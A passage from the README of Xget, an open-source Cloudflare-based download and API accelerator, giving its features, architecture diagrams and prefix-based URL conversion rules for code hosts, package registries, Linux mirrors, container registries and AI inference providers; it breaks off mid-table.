[![Gradle](https://img.shields.io/badge/Gradle-02303A?logo=gradle&logoColor=white)](#gradle-package-acceleration) [![Homebrew](https://img.shields.io/badge/Homebrew-FBB040?logo=homebrew&logoColor=black)](#homebrew-package-acceleration) [![RubyGems](https://img.shields.io/badge/RubyGems-E9573F?logo=rubygems&logoColor=white)](#ruby-package-acceleration) [![CRAN](https://img.shields.io/badge/CRAN-276DC3?logo=r&logoColor=white)](#r-package-acceleration) [![CPAN](https://img.shields.io/badge/CPAN-0073A1?logo=perl&logoColor=white)](#perl-package-acceleration) [![CTAN](https://img.shields.io/badge/CTAN-008080?logo=latex&logoColor=white)](#texlatex-package-acceleration) [![Go](https://img.shields.io/badge/Go-00ADD8?logo=go&logoColor=white)](#go-module-acceleration) [![NuGet](https://img.shields.io/badge/NuGet-004880?logo=nuget&logoColor=white)](#nuget-package-acceleration) [![Rust](https://img.shields.io/badge/Rust-000000?logo=rust&logoColor=white)](#rust-package-acceleration) [![Packagist](https://img.shields.io/badge/Packagist-F28D1A?logo=packagist&logoColor=white)](#php-package-acceleration) [![Flathub](https://img.shields.io/badge/Flathub-000000?logo=flathub&logoColor=white)](#flathub-repository-mirror) [![Debian](https://img.shields.io/badge/Debian-A81D33?logo=debian&logoColor=white)](#debianubuntu-apt-configuration) [![Ubuntu](https://img.shields.io/badge/Ubuntu-E95420?logo=ubuntu&logoColor=white)](#debianubuntu-apt-configuration) [![Fedora](https://img.shields.io/badge/Fedora-51A2DA?logo=fedora&logoColor=white)](#fedora-dnf-configuration) [![Rocky Linux](https://img.shields.io/badge/Rocky%20Linux-10B981?logo=rockylinux&logoColor=white)](#rocky-linux-dnf-configuration) [![openSUSE](https://img.shields.io/badge/openSUSE-73BA25?logo=opensuse&logoColor=white)](#opensuse-zypper-configuration) [![Arch Linux](https://img.shields.io/badge/Arch%20Linux-1793D1?logo=archlinux&logoColor=white)](#arch-linux-pacman-configuration) [![arXiv](https://img.shields.io/badge/arXiv-B31B1B?logo=arxiv&logoColor=white)](#arxiv-paper-download) [![F-Droid](https://img.shields.io/badge/F--Droid-1976D2?logo=f-droid&logoColor=white)](#f-droid-repository-mirror) [![Jenkins](https://img.shields.io/badge/Jenkins-D24939?logo=jenkins&logoColor=white)](#jenkins-plugin-download) [![Container Registries](https://img.shields.io/badge/Container%20Registries-262261?logo=opencontainersinitiative&logoColor=white)](#container-registries) [![AI Inference Providers](https://img.shields.io/badge/AI%20Inference%20Providers-94A3B8?logo=openrouter&logoColor=white)](#ai-inference-providers) Ultra-high-performance, secure, all-in-one acceleration engine for developer resources that significantly outperforms traditional solutions, delivering unified, efficient acceleration across code repositories, model and dataset hubs, package registries, container registries, AI inference providers, and more. In-depth technical analysis article published: **_[Deep Dive into Xget: A High-Performance, Multi-Protocol, and Secure Acceleration Engine for Developer Resources](https://blog.xi-xu.me/en/2025/10/07/Deep-Dive-into-Xget.html)_**. Xget was invited to join the [GitCode platform](https://gitcode.com/xixu-me/xget) and recognized as a G-Star graduation project. It has also received spontaneous recommendations from several well-known tech creators, including [Ruan Yifeng](https://www.ruanyifeng.com/blog/2025/12/weekly-issue-379.html#:~:text=Xget), [GitHubDaily](https://x.com/i/status/1956204203937829256), [FishC](https://www.bilibili.com/video/BV1EeeBzVEop/), and [Xuanli 199](https://www.bilibili.com/video/BV197hqzsE8Y/?t=8). Sincere thanks to GitCode and every creator, reader, and user who helped more people discover Xget. ## 🎯 Quick Start **Pre-deployed Instance (no reliability guarantee): `xget.xi-xu.me`** **URL Converter:** [**`xuc.xi-xu.me`**](https://xuc.xi-xu.me) - Convert any supported platform URL to Xget's acceleration format with one click **Agent Skills:** [**`skills/xget/`**](skills/xget/) - Designed to work as a standalone `/xget` directory in a skills installation ## 🌟 Core Advantages - Why Choose Xget? ### ⚡ Extreme Performance - Breaking Through Traditional Accelerator Bottlenecks - **⚡ Millisecond Response**: Cloudflare's global 330+ edge nodes, average response time < 50ms - **🌐 HTTP/3 Ultra-Fast Protocol**: Latest HTTP/3 protocol enabled, 40% reduction in connection latency, 30% increase in transmission speed - **📦 Intelligent Multi-Compression**: Triple compression algorithms (gzip, deflate, brotli), 60% improvement in transmission efficiency - **🔗 Zero-Latency Pre-Connection**: Connection warm-up and keep-alive, eliminating handshake overhead for second-level responses - **⚡ Parallel Chunked Download**: Full support for HTTP Range requests, multiplied multi-threaded download speeds - **🎯 Smart Routing Optimization**: Automatically selects optimal transmission paths, avoiding network congestion nodes ### 🌐 Deep Multi-Platform Integration - **All-in-One Multi-Platform Support**: Unified support for mainstream platforms in various development scenarios - **Intelligent Recognition and Conversion**: Automatically recognizes platform prefixes and converts to correct URL structures for target platforms - **Consistent Acceleration Experience**: Enjoy unified and stable ultra-fast download experience regardless of file type or source ### 🔒 Enterprise-Grade Security - **Multi-Layer Security Headers**: - `Strict-Transport-Security`: Enforces HTTPS transmission, prevents man-in-the-middle attacks - `X-Frame-Options: DENY`: Prevents clickjacking attacks - `X-XSS-Protection`: Built-in XSS protection mechanism - `Content-Security-Policy`: Strict content security policy - `Referrer-Policy`: Controls referrer information leakage - **Request Validation Mechanism**: - HTTP method whitelist: Regular requests limited to GET/HEAD, while Git/LFS, container registry, AI inference, and Hugging Face API traffic allow `POST`, `PUT`, `PATCH`, and `DELETE` as needed - Path length limit: Prevents excessively long URL attacks (max 2048 characters) - Input sanitization: Prevents path traversal and injection attacks - **Timeout Protection**: 30-second request timeout, prevents resource exhaustion and malicious requests ### 🚀 Modern Architecture and Reliability - **Intelligent Retry Mechanism**: - Maximum 3 retries with linear delay strategy (1000ms × retry count) - Automatic error recovery, improved download success rate - Timeout detection and interruption handling - **Efficient Caching Strategy**: - 1800 seconds (30 minutes) default cache duration, significantly reduces origin server pressure - Git operations skip caching to ensure real-time data - Edge caching based on Cloudflare Cache API - **Performance Monitoring System**: - Built-in `PerformanceMonitor` class for real-time tracking of request stage durations - Detailed performance data provided via `X-Performance-Metrics` response header - Cache hit rate statistics and optimization recommendations ### 🎯 Full Git Protocol Compatibility - **Smart Protocol Detection**: - Automatically recognizes Git-specific endpoints (`/info/refs`, `/git-upload-pack`, `/git-receive-pack`) - Detects Git client User-Agent patterns - Supports query parameters like `service=git-upload-pack` - **Complete Operation Support**: - `git clone`: Full repository cloning, supports shallow clones and branch specification - `git push`: Code push and branch management - `git pull/fetch`: Incremental updates and remote synchronization - `git submodule`: Recursive submodule cloning - **Protocol Optimization**: - Preserves Git-specific request headers and authentication information - Smart User-Agent handling (default `git/2.34.1`) - Supports Git LFS large file transfer ### 📱 Ecosystem Integration - **Dedicated Browser Extension**: [Xget Now](https://github.com/xixu-me/Xget-Now) provides seamless experience - Automatic URL redirection, no manual URL modification needed - Support for custom Xget instance domains - Multi-platform preference settings and blacklist/whitelist management - Local processing ensures privacy and security - **Download Tool Compatibility**: Perfect support for wget, cURL, aria2, IDM, and other mainstream download tools - **CI/CD Integration**: Can be used directly in GitHub Actions, GitLab CI, and other environments ## 🏗️ System Architecture ### Request Processing Flow ```mermaid graph TD Request[User Request / User-Agent] --> Identify{Identify Platform} Identify -->|Invalid| Error[Return Error] Identify -->|Valid| Transform[Transform Path] Transform --> CheckProtocol{Check Protocol} CheckProtocol -->|Git| GitHandler[Git Protocol Adapter] CheckProtocol -->|Docker| DockerHandler[Docker Protocol Adapter] CheckProtocol -->|AI| AIHandler[AI Inference Adapter] CheckProtocol -->|Standard| StdHandler[Standard Adapter] GitHandler --> Upstream[Fetch Upstream] DockerHandler --> Upstream AIHandler --> Upstream StdHandler --> CacheCheck{Check Cache} CacheCheck -->|Hit| ReturnCache[Return Cached Response] CacheCheck -->|Miss| Upstream Upstream -->|Success| ProcessResponse[Process Response] Upstream -->|Failure| Retry{Retry?} Retry -->|Yes| Wait["Wait (Backoff)"] --> Upstream Retry -->|No| Error ProcessResponse --> Finalize[Add Headers & Return] Finalize --> Response[Response] ``` ### Component Architecture ```mermaid classDiagram class Worker { +fetch(request) } class AppHandler { +handleRequest(request, env, ctx) } class PlatformCatalog { +PLATFORM_CATALOG } class PlatformRouting { +transformPath() +resolveTarget() } class Validation { +validateRequest() +isDockerRequest() } class GitProtocol { +configureGitHeaders() +isGitRequest() } class DockerProtocol { +handleDockerAuth() +fetchToken() } class AIProtocol { +configureAIHeaders() } class UpstreamPipeline { +tryReadCachedResponse() +fetchUpstreamResponse() } class ResponsePipeline { +finalizeResponse() } class Security { +addSecurityHeaders() } class Performance { +monitor() } Worker --> AppHandler AppHandler --> PlatformCatalog AppHandler --> PlatformRouting AppHandler --> Validation AppHandler --> GitProtocol AppHandler --> DockerProtocol AppHandler --> AIProtocol AppHandler --> UpstreamPipeline AppHandler --> ResponsePipeline AppHandler --> Security AppHandler --> Performance PlatformRouting --> PlatformCatalog ``` ## 📖 URL Conversion Rules Using the pre-deployed instance **`xget.xi-xu.me`** or your own deployed instance, simply replace the domain and add the platform prefix: ### Conversion Format | Platform | Platform Prefix | Original URL Format | Accelerated URL Format | | ---------------------- | --------------- | -------------------------------------------------------------------- | --------------------------------------------------------------------------------- | | GitHub | `gh` | `https://github.com/...` | `https://xget.xi-xu.me/gh/...` | | GitHub Gist | `gist` | `https://gist.github.com/...` | `https://xget.xi-xu.me/gist/...` | | GitLab | `gl` | `https://gitlab.com/...` | `https://xget.xi-xu.me/gl/...` | | Gitea | `gitea` | `https://gitea.com/...` | `https://xget.xi-xu.me/gitea/...` | | Codeberg | `codeberg` | `https://codeberg.org/...` | `https://xget.xi-xu.me/codeberg/...` | | SourceForge | `sf` | `https://sourceforge.net/...` | `https://xget.xi-xu.me/sf/...` | | AOSP | `aosp` | `https://android.googlesource.com/...` | `https://xget.xi-xu.me/aosp/...` | | Hugging Face | `hf` | `https://huggingface.co/...` | `https://xget.xi-xu.me/hf/...` | | Civitai | `civitai` | `https://civitai.com/...` | `https://xget.xi-xu.me/civitai/...` | | npm | `npm` | `https://registry.npmjs.org/...` | `https://xget.xi-xu.me/npm/...` | | PyPI | `pypi` | `https://pypi.org/...` | `https://xget.xi-xu.me/pypi/...` | | conda | `conda` | `https://repo.anaconda.com/...` and `https://conda.anaconda.org/...` | `https://xget.xi-xu.me/conda/...` and `https://xget.xi-xu.me/conda/community/...` | | Maven | `maven` | `https://repo1.maven.org/...` | `https://xget.xi-xu.me/maven/...` | | Apache | `apache` | `https://downloads.apache.org/...` | `https://xget.xi-xu.me/apache/...` | | Gradle | `gradle` | `https://plugins.gradle.org/...` | `https://xget.xi-xu.me/gradle/...` | | Homebrew | `homebrew` | `https://github.com/Homebrew/...` | `https://xget.xi-xu.me/homebrew/...` | | RubyGems | `rubygems` | `https://rubygems.org/...` | `https://xget.xi-xu.me/rubygems/...` | | CRAN | `cran` | `https://cran.r-project.org/...` | `https://xget.xi-xu.me/cran/...` | | CPAN | `cpan` | `https://www.cpan.org/...` | `https://xget.xi-xu.me/cpan/...` | | CTAN | `ctan` | `https://tug.ctan.org/...` | `https://xget.xi-xu.me/ctan/...` | | Go Modules | `golang` | `https://proxy.golang.org/...` | `https://xget.xi-xu.me/golang/...` | | NuGet | `nuget` | `https://api.nuget.org/...` | `https://xget.xi-xu.me/nuget/...` | | Rust Crates | `crates` | `https://crates.io/...` | `https://xget.xi-xu.me/crates/...` | | Packagist | `packagist` | `https://repo.packagist.org/...` | `https://xget.xi-xu.me/packagist/...` | | Flathub | `flathub` | `https://dl.flathub.org/...` | `https://xget.xi-xu.me/flathub/...` | | Debian | `debian` | `https://deb.debian.org/...` | `https://xget.xi-xu.me/debian/...` | | Ubuntu | `ubuntu` | `https://archive.ubuntu.com/...` | `https://xget.xi-xu.me/ubuntu/...` | | Fedora | `fedora` | `https://dl.fedoraproject.org/...` | `https://xget.xi-xu.me/fedora/...` | | Rocky Linux | `rocky` | `https://download.rockylinux.org/...` | `https://xget.xi-xu.me/rocky/...` | | openSUSE | `opensuse` | `https://download.opensuse.org/...` | `https://xget.xi-xu.me/opensuse/...` | | Arch Linux | `arch` | `https://geo.mirror.pkgbuild.com/...` | `https://xget.xi-xu.me/arch/...` | | arXiv | `arxiv` | `https://arxiv.org/...` | `https://xget.xi-xu.me/arxiv/...` | | F-Droid | `fdroid` | `https://f-droid.org/...` | `https://xget.xi-xu.me/fdroid/...` | | Jenkins Plugins | `jenkins` | `https://updates.jenkins.io/...` | `https://xget.xi-xu.me/jenkins/...` | | Container Registries | `cr` | See [Container Registries](#container-registries) | See [Container Registries](#container-registries) | | AI Inference Providers | `ip` | See [AI Inference Providers](#ai-inference-providers) | See [AI Inference Providers](#ai-inference-providers) | ### Platform Conversion Examples #### GitHub ```url # Original URL https://github.com/microsoft/vscode/archive/refs/heads/main.zip # Converted (add gh prefix) https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip ``` #### GitHub Gist ```url # Original URL https://gist.github.com/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md # Converted (add gist prefix) https://xget.xi-xu.me/gist/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md ``` #### GitLab ```url # Original URL https://gitlab.com/gitlab-org/gitlab/-/archive/master/gitlab-master.zip # Converted (add gl prefix) https://xget.xi-xu.me/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip ``` #### Gitea ```url # Original URL https://gitea.com/gitea/gitea/archive/master.zip # Converted (add gitea prefix) https://xget.xi-xu.me/gitea/gitea/gitea/archive/master.zip ``` #### Codeberg ```url # Original URL https://codeberg.org/forgejo/forgejo/archive/forgejo.zip # Converted (add codeberg prefix) https://xget.xi-xu.me/codeberg/forgejo/forgejo/archive/forgejo.zip ``` #### SourceForge ```url # Original URL https://sourceforge.net/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download # Converted (add sf prefix) https://xget.xi-xu.me/sf/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download ``` #### AOSP (Android Open Source Project) ```url # AOSP project original URL https://android.googlesource.com/platform/frameworks/base # Converted (add aosp prefix) https://xget.xi-xu.me/aosp/platform/frameworks/base # AOSP device tree original URL https://android.googlesource.com/device/google/pixel # Converted (add aosp prefix) https://xget.xi-xu.me/aosp/device/google/pixel ``` #### Hugging Face ```url # Model file original URL https://huggingface.co/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin # Converted (add hf prefix) https://xget.xi-xu.me/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin # Dataset file original URL https://huggingface.co/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet # Converted (add hf prefix) https://xget.xi-xu.me/hf/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet ``` #### Civitai ```url # AI model download original URL https://civitai.com/api/download/models/128713 # Converted (add civitai prefix) https://xget.xi-xu.me/civitai/api/download/models/128713 # Model API original URL https://civitai.com/api/v1/models/7240 # Converted (add civitai prefix) https://xget.xi-xu.me/civitai/api/v1/models/7240 # Model version API original URL https://civitai.com/api/v1/model-versions/128713 # Converted (add civitai prefix) https://xget.xi-xu.me/civitai/api/v1/model-versions/128713 ``` #### npm ```url # Package file original URL https://registry.npmjs.org/react/-/react-18.2.0.tgz # Converted (add npm prefix) https://xget.xi-xu.me/npm/react/-/react-18.2.0.tgz # Package metadata original URL https://registry.npmjs.org/lodash # Converted (add npm prefix) https://xget.xi-xu.me/npm/lodash ``` #### PyPI ```url # Python package file original URL https://pypi.org/packages/source/r/requests/requests-2.31.0.tar.gz # Converted (add pypi prefix) https://xget.xi-xu.me/pypi/packages/source/r/requests/requests-2.31.0.tar.gz # Wheel file original URL https://pypi.org/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl # Converted (add pypi prefix) https://xget.xi-xu.me/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl ``` #### conda ```url # Default channel package file original URL https://repo.anaconda.com/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda # Converted (add conda prefix) https://xget.xi-xu.me/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda # Community channel metadata original URL https://conda.anaconda.org/conda-forge/linux-64/repodata.json # Converted (add conda/community prefix) https://xget.xi-xu.me/conda/community/conda-forge/linux-64/repodata.json ``` #### Maven ```url # Maven Central Repository JAR file original URL https://repo1.maven.org/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar # Converted (add maven prefix) https://xget.xi-xu.me/maven/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar # Maven metadata original URL https://repo1.maven.org/maven2/org/apache/commons/commons-lang3/maven-metadata.xml # Converted (add maven prefix) https://xget.xi-xu.me/maven/maven2/org/apache/commons/commons-lang3/maven-metadata.xml ``` #### Apache Software Download ```url # Apache software download original URL https://downloads.apache.org/kafka/3.6.1/kafka_2.13-3.6.1.tgz # Converted (add apache prefix) https://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz # Apache Maven download original URL https://downloads.apache.org/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz # Converted (add apache prefix) https://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz # Apache Spark download original URL https://downloads.apache.org/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz # Converted (add apache prefix) https://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz ``` #### Gradle ```url # Gradle plugin portal JAR file original URL https://plugins.gradle.org/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar # Converted (add gradle prefix) https://xget.xi-xu.me/gradle/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar # Gradle plugin metadata original URL https://plugins.gradle.org/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module # Converted (add gradle prefix) https://xget.xi-xu.me/gradle/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module ``` #### Homebrew ```url # Homebrew formula repository original URL https://github.com/Homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb # Converted (add homebrew prefix) https://xget.xi-xu.me/homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb # Homebrew API original URL https://formulae.brew.sh/api/formula/git.json # Converted (add homebrew/api prefix) https://xget.xi-xu.me/homebrew/api/formula/git.json # Homebrew Bottles original URL https://ghcr.io/v2/homebrew/core/git/manifests/2.39.0 # Converted (add homebrew/bottles prefix) https://xget.xi-xu.me/homebrew/bottles/v2/homebrew/core/git/manifests/2.39.0 ``` #### RubyGems ```url # RubyGems package file original URL https://rubygems.org/gems/rails-7.0.4.gem # Converted (add rubygems prefix) https://xget.xi-xu.me/rubygems/gems/rails-7.0.4.gem # RubyGems API original URL https://rubygems.org/api/v1/gems/nokogiri.json # Converted (add rubygems prefix) https://xget.xi-xu.me/rubygems/api/v1/gems/nokogiri.json ``` #### CRAN ```url # CRAN package file original URL https://cran.r-project.org/src/contrib/ggplot2_3.5.2.tar.gz # Converted (add cran prefix) https://xget.xi-xu.me/cran/src/contrib/ggplot2_3.5.2.tar.gz # CRAN package metadata original URL https://cran.r-project.org/web/packages/dplyr/DESCRIPTION # Converted (add cran prefix) https://xget.xi-xu.me/cran/web/packages/dplyr/DESCRIPTION ``` #### CPAN (Perl Package Management) ```url # CPAN module original URL https://www.cpan.org/modules/by-module/DBI/DBI-1.643.tar.gz # Converted (add cpan prefix) https://xget.xi-xu.me/cpan/modules/by-module/DBI/DBI-1.643.tar.gz # CPAN author package original URL https://www.cpan.org/authors/id/T/TI/TIMB/DBI-1.643.tar.gz # Converted (add cpan prefix) https://xget.xi-xu.me/cpan/authors/id/T/TI/TIMB/DBI-1.643.tar.gz ``` #### CTAN (TeX/LaTeX Package Management) ```url # CTAN package file original URL https://tug.ctan.org/tex-archive/macros/latex/contrib/beamer.zip # Converted (add ctan prefix) https://xget.xi-xu.me/ctan/tex-archive/macros/latex/contrib/beamer.zip # CTAN font file original URL https://tug.ctan.org/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk # Converted (add ctan prefix) https://xget.xi-xu.me/ctan/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk ``` #### Go Modules ```url # Go module proxy original URL https://proxy.golang.org/github.com/gin-gonic/gin/@v/v1.9.1.zip # Converted (add golang prefix) https://xget.xi-xu.me/golang/github.com/gin-gonic/gin/@v/v1.9.1.zip # Go module info original URL https://proxy.golang.org/github.com/gorilla/mux/@v/list # Converted (add golang prefix) https://xget.xi-xu.me/golang/github.com/gorilla/mux/@v/list ``` #### NuGet ```url # NuGet package download original URL https://api.nuget.org/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg # Converted (add nuget prefix) https://xget.xi-xu.me/nuget/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg # NuGet package metadata original URL https://api.nuget.org/v3/registration5-semver1/microsoft.aspnetcore.app/index.json # Converted (add nuget prefix) https://xget.xi-xu.me/nuget/v3/registration5-semver1/microsoft.aspnetcore.app/index.json ``` #### Rust Crates ```url # Crate download original URL https://crates.io/api/v1/crates/serde/1.0.0/download # Converted (add crates prefix) https://xget.xi-xu.me/crates/serde/1.0.0/download # Crate metadata original URL https://crates.io/api/v1/crates/serde # Converted (add crates prefix) https://xget.xi-xu.me/crates/serde # Crate search original URL https://crates.io/api/v1/crates?q=serde # Converted (add crates prefix) https://xget.xi-xu.me/crates/?q=serde ``` #### Packagist ```url # Packagist package metadata original URL https://repo.packagist.org/p2/symfony/console.json # Converted (add packagist prefix) https://xget.xi-xu.me/packagist/p2/symfony/console.json # Packagist package list original URL https://repo.packagist.org/packages/list.json # Converted (add packagist prefix) https://xget.xi-xu.me/packagist/packages/list.json ``` #### Flathub ```url # Flathub repository original URL https://dl.flathub.org/repo/summary # Converted (add flathub prefix) https://xget.xi-xu.me/flathub/repo/summary # Flathub app reference original URL https://dl.flathub.org/repo/appstream/org.gnome.gedit.flatpakref # Converted (add flathub prefix) https://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref ``` #### Linux Distributions ```url # Debian package original URL https://deb.debian.org/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb # Converted (add debian prefix) https://xget.xi-xu.me/debian/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb # Ubuntu package original URL https://archive.ubuntu.com/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb # Converted (add ubuntu prefix) https://xget.xi-xu.me/ubuntu/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb # Fedora package original URL https://dl.fedoraproject.org/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm # Converted (add fedora prefix) https://xget.xi-xu.me/fedora/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm # Rocky Linux package original URL https://download.rockylinux.org/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm # Converted (add rocky prefix) https://xget.xi-xu.me/rocky/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm # openSUSE package original URL https://download.opensuse.org/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm # Converted (add opensuse prefix) https://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm # Arch Linux package original URL https://geo.mirror.pkgbuild.com/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst # Converted (add arch prefix) https://xget.xi-xu.me/arch/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst ``` #### arXiv ```url # arXiv paper PDF original URL https://arxiv.org/pdf/2301.07041.pdf # Converted (add arxiv prefix) https://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf # arXiv paper source original URL https://arxiv.org/e-print/2301.07041 # Converted (add arxiv prefix) https://xget.xi-xu.me/arxiv/e-print/2301.07041 ``` #### F-Droid ```url # F-Droid app APK original URL https://f-droid.org/repo/org.fdroid.fdroid_1016050.apk # Converted (add fdroid prefix) https://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk # F-Droid app metadata original URL https://f-droid.org/api/v1/packages/org.fdroid.fdroid # Converted (add fdroid prefix) https://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid ``` #### Jenkins Plugins ```url # Jenkins update center original URL https://updates.jenkins.io/update-center.json # Converted (add jenkins prefix) https://xget.xi-xu.me/jenkins/update-center.json # Jenkins plugin download original URL https://updates.jenkins.io/download/plugins/maven-plugin/3.27/maven-plugin.hpi # Converted (add jenkins prefix) https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi ``` #### Container Registries Xget supports multiple container registries, using the `cr/[Registry Prefix]` format: | Container Registry | Registry Prefix | Original URL Format | Accelerated URL Format | | ---------------------------- | --------------- | ------------------------------------------- | ------------------------------------------- | | Docker Hub | `docker` | `https://registry-1.docker.io/...` | `https://xget.xi-xu.me/cr/docker/...` | | Quay.io | `quay` | `https://quay.io/...` | `https://xget.xi-xu.me/cr/quay/...` | | Google Container Registry | `gcr` | `https://gcr.io/...` | `https://xget.xi-xu.me/cr/gcr/...` | | Microsoft Container Registry | `mcr` | `https://mcr.microsoft.com/...` | `https://xget.xi-xu.me/cr/mcr/...` | | Amazon Public ECR | `ecr` | `https://public.ecr.aws/...` | `https://xget.xi-xu.me/cr/ecr/...` | | GitHub Container Registry | `ghcr` | `https://ghcr.io/...` | `https://xget.xi-xu.me/cr/ghcr/...` | | GitLab Container Registry | `gitlab` | `https://registry.gitlab.com/...` | `https://xget.xi-xu.me/cr/gitlab/...` | | Red Hat Registry | `redhat` | `https://registry.redhat.io/...` | `https://xget.xi-xu.me/cr/redhat/...` | | Oracle Container Registry | `oracle` | `https://container-registry.oracle.com/...` | `https://xget.xi-xu.me/cr/oracle/...` | | Cloudsmith | `cloudsmith` | `https://docker.cloudsmith.io/...` | `https://xget.xi-xu.me/cr/cloudsmith/...` | | DigitalOcean Registry | `digitalocean` | `https://registry.digitalocean.com/...` | `https://xget.xi-xu.me/cr/digitalocean/...` | | VMware Registry | `vmware` | `https://projects.registry.vmware.com/...` | `https://xget.xi-xu.me/cr/vmware/...` | | Kubernetes Registry | `k8s` | `https://registry.k8s.io/...` | `https://xget.xi-xu.me/cr/k8s/...` | | Heroku Registry | `heroku` | `https://registry.heroku.com/...` | `https://xget.xi-xu.me/cr/heroku/...` | | SUSE Registry | `suse` | `https://registry.suse.com/...` | `https://xget.xi-xu.me/cr/suse/...` | | openSUSE Registry | `opensuse` | `https://registry.opensuse.org/...` | `https://xget.xi-xu.me/cr/opensuse/...` | | Gitpod Registry | `gitpod` | `https://registry.gitpod.io/...` | `https://xget.xi-xu.me/cr/gitpod/...` | ```url # Docker Hub original URL (official images) https://registry-1.docker.io/v2/library/nginx/manifests/latest # Converted (add cr/docker prefix) https://xget.xi-xu.me/cr/docker/v2/nginx/manifests/latest # Docker Hub original URL (user images) https://registry-1.docker.io/v2/nginxinc/nginx-unprivileged/manifests/latest # Converted (add cr/docker prefix) https://xget.xi-xu.me/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest # GitHub Container Registry original URL https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest # Converted (add cr/ghcr prefix) https://xget.xi-xu.me/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest # Google Container Registry original URL https://gcr.io/v2/distroless/base/manifests/latest # Converted (add cr/gcr prefix) https://xget.xi-xu.me/cr/gcr/v2/distroless/base/manifests/latest ``` For use cases, see [Container Image Acceleration](#container-image-acceleration). #### AI Inference Providers Xget supports API acceleration for many mainstream AI inference providers, using the `ip/[AI Provider Prefix]` format: | AI Inference Provider | Provider Prefix | Original URL Format | Accelerated URL Format | | --------------------- | --------------- | ----------------------------------------------- | -------------------------------------------- | | OpenAI | `openai` | `https://api.openai.com/...` | `https://xget.xi-xu.me/ip/openai/...` | | Anthropic | `anthropic` | `https://api.anthropic.com/...` | `https://xget.xi-xu.me/ip/anthropic/...` | | Gemini | `gemini` | `https://generativelanguage.googleapis.com/...` | `https://xget.xi-xu.me/ip/gemini/...` | | Vertex AI | `vertexai` | `https://aiplatform.googleapis.com/...` | `https://xget.xi-xu.me/ip/vertexai/...` | | Cohere | `cohere` | `https://api.cohere.ai/...` | `https://xget.xi-xu.me/ip/cohere/...` | | Mistral AI | `mistralai` | `https://api.mistral.ai/...` | `https://xget.xi-xu.me/ip/mistralai/...` | | xAI | `xai` | `https://api.x.ai/...` | `https://xget.xi-xu.me/ip/xai/...` | | GitHub Models | `githubmodels` | `https://models.github.ai/...` | `https://xget.xi-xu.me/ip/githubmodels/...` | | NVIDIA API | `nvidiaapi` | `https://integrate.api.nvidia.com/...` | `https://xget.xi-xu.me/ip/nvidiaapi/...` | | Perplexity | `perplexity` | `https://api.perplexity.ai/...` | `https://xget.xi-xu.me/ip/perplexity/...` | | Groq | `groq` | `https://api.groq.com/...` | `https://xget.xi-xu.me/ip/groq/...` | | Cerebras | `cerebras` | `https://api.cerebras.ai/...` | `https://xget.xi-xu.me/ip/cerebras/...` | | SambaNova | `sambanova` | `https://api.sambanova.ai/...` | `https://xget.xi-xu.me/ip/sambanova/...` | | Siray | `siray` 